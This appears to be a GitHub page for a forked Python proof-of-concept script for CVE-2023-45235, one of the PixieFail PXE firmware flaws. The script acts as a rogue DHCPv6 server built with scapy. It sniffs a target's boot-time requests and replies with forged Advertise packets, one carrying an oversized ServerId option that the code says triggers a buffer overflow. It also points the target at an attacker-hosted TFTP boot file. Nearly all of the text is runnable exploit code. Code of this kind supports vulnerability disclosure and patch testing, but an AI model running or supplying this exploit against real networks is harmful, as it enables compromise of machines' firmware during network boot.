forked from quarkslab/pixiefail
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pixiefail-CVE-2023-45235.py
102 lines (79 loc) · 4.99 KB
/
pixiefail-CVE-2023-45235.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import struct
import argparse
import socket
from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptStatusCode, DHCP6OptIAAddress, DHCP6OptDNSServers, DHCP6OptVendorClass, DHCP6OptBootFileUrl, DHCP6_Request, DHCP6_Reply
from scapy.all import *
def send_regular_advertise(args, solicit_pkt):
ip = IPv6(src=args.src, dst=args.target)
udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
preference = Raw(b'\x00\x07\x00\x01\xff')
dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
iana = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')])
server_id = DHCP6OptServerId(duid=b'A' * 0x40)
client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
pkt = ip/udp/advertise/preference/client_id/server_id/dns_servers/iana
send(pkt, iface=args.interface)
def send_proxy_advertise(args, solicit_pkt):
ip = IPv6(src=args.src, dst=args.target)
udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
preference = Raw(b'\x00\x07\x00\x01\xff')
bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug07poc'.format(args.src))
boot_params = Raw(b'\x00\x3c\x00\x06\x00\x041500')
dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
# SERVER_ID longer than 0x400 triggers the pool buffer overflow
server_id = DHCP6OptServerId(duid=b'A' * 0x444)
client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
pkt = ip/udp/advertise/preference/bootfile_url/boot_params/vendor_class/client_id/server_id/dns_servers
send(pkt, iface=args.interface)
def send_reply_legit(args, request_pkt):
ip = IPv6(src=args.src, dst=args.target)
udp = UDP(sport=request_pkt['UDP'].dport, dport=request_pkt['UDP'].sport)
reply = DHCP6_Reply(trid=request_pkt['DHCP6_Request'].trid)
iana = DHCP6OptIA_NA(iaid=request_pkt['DHCP6OptIA_NA'].iaid, T1=request_pkt['DHCP6OptIA_NA'].T1, T2=request_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff)])
server_id = DHCP6OptServerId(duid=b'A' * 0x40)
client_id = DHCP6OptClientId(duid=request_pkt['DHCP6OptClientId'].duid)
bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug07poc'.format(args.src))
boot_params = Raw(b'\x00\x3c\x00\x06\x00\x041500')
dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
pkt = ip/udp/reply/bootfile_url/boot_params/dns_servers/vendor_class/server_id/client_id/iana
send(pkt, iface=args.interface)
def main(args):
# Make scapy interpret packets from/to UDP port 4011 as DHCPv6
bind_layers(UDP, DHCP6, sport=4011)
bind_layers(UDP, DHCP6, dport=4011)
# Little trick so the OS doesn't answer that UDP port 4011 is unreachable
fake_sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
fake_sock.bind(('', 4011))
while True:
print('Waiting for DHCPv6 packets...')
rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(IPv6) and (pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request) or pkt.haslayer(UDP)))[0]
print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))
if rs[IPv6].src == args.target:
rs.show()
if rs.haslayer(DHCP6_Solicit):
print('Sending Advertise packet ...')
send_regular_advertise(args, rs)
send_proxy_advertise(args, rs)
elif rs.haslayer(DHCP6_Request):
print('Sending Reply packet...')
send_reply_legit(args, rs)
elif rs.haslayer(UDP) and rs.getlayer(UDP).dport == 4011:
print('Got the DHCPproxy request packet.')
else:
print('Ignoring unsupported DHCP message')
else:
print('Ignoring request from address {}'.format(rs[IPv6].src))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45235.")
parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
args = parser.parse_args()
main(args)